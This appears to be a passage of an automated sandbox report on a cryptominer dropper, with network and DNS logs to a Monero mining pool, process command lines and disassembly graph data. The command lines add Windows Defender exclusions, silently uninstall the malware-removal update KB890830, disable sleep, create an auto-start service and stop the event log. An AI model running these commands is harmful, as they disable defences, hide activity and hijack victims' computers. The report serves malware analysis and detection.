                                                      Jan 1, 2025 22:04:46.374572992 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:04:58.245817900 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:04:58.311925888 CET4973010343192.168.2.4146.59.154.106

                                                      UDP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Jan 1, 2025 22:01:03.042490959 CET5914153192.168.2.41.1.1.1
                                                      Jan 1, 2025 22:01:03.050404072 CET53591411.1.1.1192.168.2.4

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Jan 1, 2025 22:01:03.042490959 CET192.168.2.41.1.1.10x7683Standard query (0)xmr-eu1.nanopool.orgA (IP address)IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org51.15.65.182A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org212.47.253.124A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org163.172.154.142A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org141.94.23.83A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org51.15.58.224A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org162.19.224.121A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org54.37.232.103A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org54.37.137.114A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org51.89.23.91A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org146.59.154.106A (IP address)IN (0x0001)false
                                                      Jan 1, 2025 22:01:03.050404072 CET1.1.1.1192.168.2.40x7683No error (0)xmr-eu1.nanopool.org51.15.193.130A (IP address)IN (0x0001)false

                                                      Statistics

                                                      CPU Usage

                                                      Click to jump to process

                                                      Memory Usage

                                                      Click to jump to process

                                                      High Level Behavior Distribution

                                                      Click to dive into process behavior distribution

                                                      Behavior

                                                      Click to jump to process

                                                      System Behavior

                                                      General

                                                      Target ID:0
                                                      Start time:16:00:54
                                                      Start date:01/01/2025
                                                      Path:C:\Users\user\Desktop\aAcx14Rjtw.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Users\user\Desktop\aAcx14Rjtw.exe"
                                                      Imagebase:0x7ff6bf4a0000
                                                      File size:2'629'120 bytes
                                                      MD5 hash:A0A383F28ED48A0CE7C62E599E934455
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:low
                                                      Has exited:true

                                                      General

                                                      Target ID:1
                                                      Start time:16:00:54
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                      Imagebase:0x7ff788560000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:2
                                                      Start time:16:00:54
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:4
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                      Imagebase:0x7ff7af910000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:5
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:moderate
                                                      Has exited:true

                                                      General

                                                      Target ID:6
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:7
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:moderate
                                                      Has exited:true

                                                      General

                                                      Target ID:8
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:9
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:moderate
                                                      Has exited:true

                                                      General

                                                      Target ID:10
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:11
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:12
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:13
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\sc.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\sc.exe delete "VITZDPED"
                                                      Imagebase:0x7ff796db0000
                                                      File size:72'192 bytes
                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:14
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:15
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:16
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\wusa.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                      Imagebase:0x7ff634530000
                                                      File size:345'088 bytes
                                                      MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:17
                                                      Start time:16:00:58
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\sc.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto"
                                                      Imagebase:0x7ff796db0000
                                                      File size:72'192 bytes
                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:18
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:19
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\sc.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\sc.exe stop eventlog
                                                      Imagebase:0x7ff796db0000
                                                      File size:72'192 bytes
                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:20
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\sc.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\sc.exe start "VITZDPED"
                                                      Imagebase:0x7ff796db0000
                                                      File size:72'192 bytes
                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:21
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:22
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:23
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe
                                                      Imagebase:0x7ff7ce650000
                                                      File size:2'629'120 bytes
                                                      MD5 hash:A0A383F28ED48A0CE7C62E599E934455
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Antivirus matches:
                                                      • Detection: 63%, ReversingLabs
                                                      Has exited:true

                                                      General

                                                      Target ID:24
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                      Imagebase:0x7ff788560000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:25
                                                      Start time:16:00:59
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:26
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                      Imagebase:0x7ff7af910000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:27
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:28
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:29
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:30
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:31
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                      Imagebase:0x7ff6ffda0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:32
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:33
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\powercfg.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                      Imagebase:0x7ff7699e0000
                                                      File size:96'256 bytes
                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:34
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:35
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:false

                                                      General

                                                      Target ID:36
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff7699e0000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:37
                                                      Start time:16:01:01
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\explorer.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:explorer.exe
                                                      Imagebase:0x7ff72b770000
                                                      File size:5'141'208 bytes
                                                      MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.4112435385.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.4112435385.0000000000860000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000003.1730339615.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      Has exited:false

                                                      General

                                                      Target ID:38
                                                      Start time:16:01:02
                                                      Start date:01/01/2025
                                                      Path:C:\Windows\System32\wusa.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                      Imagebase:0x7ff634530000
                                                      File size:345'088 bytes
                                                      MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      Disassembly

                                                      Reset < >

                                                        Execution Graph

                                                        Execution Coverage:3.5%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:11.2%
                                                        Total number of Nodes:1656
                                                        Total number of Limit Nodes:2
                                                        execution_graph 4488 7ff6bf4a216f 4489 7ff6bf4a2178 InitializeCriticalSection 4488->4489 4490 7ff6bf4a2185 4488->4490 4489->4490 4415 7ff6bf4a1e10 4416 7ff6bf4a1e2f 4415->4416 4417 7ff6bf4a1e55 4416->4417 4418 7ff6bf4a1ecc 4416->4418 4419 7ff6bf4a1eb5 4416->4419 4417->4419 4423 7ff6bf4a1f12 signal 4417->4423 4418->4419 4420 7ff6bf4a1ed3 signal 4418->4420 4420->4419 4421 7ff6bf4a1ee4 4420->4421 4421->4419 4422 7ff6bf4a1eea signal 4421->4422 4422->4419 4423->4419 4459 7ff6bf4a2050 4460 7ff6bf4a20cf 4459->4460 4461 7ff6bf4a205e EnterCriticalSection 4459->4461 4462 7ff6bf4a20c2 LeaveCriticalSection 4461->4462 4463 7ff6bf4a2079 4461->4463 4462->4460 4463->4462 4464 7ff6bf4a20bd free 4463->4464 4464->4462 4465 7ff6bf4a1fd0 4466 7ff6bf4a2033 4465->4466 4467 7ff6bf4a1fe4 4465->4467 4467->4466 4468 7ff6bf4a1ffd EnterCriticalSection LeaveCriticalSection 4467->4468 4468->4466 4491 7ff6bf4a1a70 4492 7ff6bf4a199e 4491->4492 4495 7ff6bf4a1a7d 4491->4495 4493 7ff6bf4a1a0f 4492->4493 4494 7ff6bf4a19e9 VirtualProtect 4492->4494 4494->4492 4444 7ff6bf4a1ab3 4445 7ff6bf4a1ade 4444->4445 4446 7ff6bf4a1b36 4445->4446 4447 7ff6bf4a199e 4445->4447 4450 7ff6bf4a1a0f 4445->4450 4448 7ff6bf4a1ba0 4 API calls 4446->4448 4449 7ff6bf4a19e9 VirtualProtect 4447->4449 4447->4450 4448->4450 4449->4447 4411 7ff6bf4a1394 4412 7ff6bf4a8350 malloc 4411->4412 4413 7ff6bf4a13b8 4412->4413 4414 7ff6bf4a13c6 NtAllocateVirtualMemoryEx 4413->4414 4451 7ff6bf4a219e 4452 7ff6bf4a2272 4451->4452 4453 7ff6bf4a21ab EnterCriticalSection 4451->4453 4454 7ff6bf4a2265 LeaveCriticalSection 4453->4454 4456 7ff6bf4a21c8 4453->4456 4454->4452 4455 7ff6bf4a21e9 TlsGetValue GetLastError 4455->4456 4456->4454 4456->4455 2765 7ff6bf4a1140 2768 7ff6bf4a1160 2765->2768 2767 7ff6bf4a1156 2769 7ff6bf4a11b9 2768->2769 2770 7ff6bf4a118b 2768->2770 2771 7ff6bf4a11c7 _amsg_exit 2769->2771 2773 7ff6bf4a11d3 2769->2773 2770->2769 2776 7ff6bf4a1190 2770->2776 2771->2773 2772 7ff6bf4a11a0 Sleep 2772->2769 2772->2776 2774 7ff6bf4a1201 _initterm 2773->2774 2775 7ff6bf4a121a 2773->2775 2774->2775 2793 7ff6bf4a1880 2775->2793 2776->2769 2776->2772 2778 7ff6bf4a1247 SetUnhandledExceptionFilter 2779 7ff6bf4a126a 2778->2779 2780 7ff6bf4a126f malloc 2779->2780 2781 7ff6bf4a128b 2780->2781 2784 7ff6bf4a12d2 2780->2784 2782 7ff6bf4a12a0 strlen malloc memcpy 2781->2782 2782->2782 2783 7ff6bf4a12d0 2782->2783 2783->2784 2800 7ff6bf4a3b50 2784->2800 2786 7ff6bf4a1315 2787 7ff6bf4a1344 2786->2787 2788 7ff6bf4a1324 2786->2788 2791 7ff6bf4a1160 93 API calls 2787->2791 2789 7ff6bf4a1338 2788->2789 2790 7ff6bf4a132d _cexit 2788->2790 2789->2767 2790->2789 2792 7ff6bf4a1366 2791->2792 2792->2767 2794 7ff6bf4a18a2 2793->2794 2799 7ff6bf4a1a0f 2793->2799 2795 7ff6bf4a1956 2794->2795 2796 7ff6bf4a199e 2794->2796 2794->2799 2795->2796 2975 7ff6bf4a1ba0 2795->2975 2798 7ff6bf4a19e9 VirtualProtect 2796->2798 2796->2799 2798->2796 2799->2778 2803 7ff6bf4a3b66 2800->2803 2801 7ff6bf4a3c60 wcslen 2985 7ff6bf4a153f 2801->2985 2803->2801 2807 7ff6bf4a3d60 2810 7ff6bf4a3d7a memset wcscat memset 2807->2810 2813 7ff6bf4a3dd3 2810->2813 2812 7ff6bf4a3e23 wcslen 2814 7ff6bf4a3e35 2812->2814 2818 7ff6bf4a3e7c 2812->2818 2813->2812 2815 7ff6bf4a3e50 _wcsnicmp 2814->2815 2816 7ff6bf4a3e66 wcslen 2815->2816 2815->2818 2816->2815 2816->2818 2817 7ff6bf4a3edd wcscpy wcscat memset 2820 7ff6bf4a3f1c 2817->2820 2818->2817 2819 7ff6bf4a4024 wcscpy wcscat 2821 7ff6bf4a404f memset 2819->2821 2825 7ff6bf4a4131 2819->2825 2820->2819 2823 7ff6bf4a4070 2821->2823 2822 7ff6bf4a40d5 wcslen 2824 7ff6bf4a40eb 2822->2824 2830 7ff6bf4a412c 2822->2830 2823->2822 2827 7ff6bf4a4100 _wcsnicmp 2824->2827 3181 7ff6bf4a2df0 2825->3181 2828 7ff6bf4a4116 wcslen 2827->2828 2827->2830 2828->2827 2828->2830 2829 7ff6bf4a43a3 wcscpy wcscat memset 2831 7ff6bf4a43e5 2829->2831 2830->2829 2832 7ff6bf4a442a wcscpy wcscat memset 2831->2832 2833 7ff6bf4a4470 2832->2833 2834 7ff6bf4a44d5 wcscpy wcscat memset 2833->2834 2835 7ff6bf4a451b 2834->2835 2836 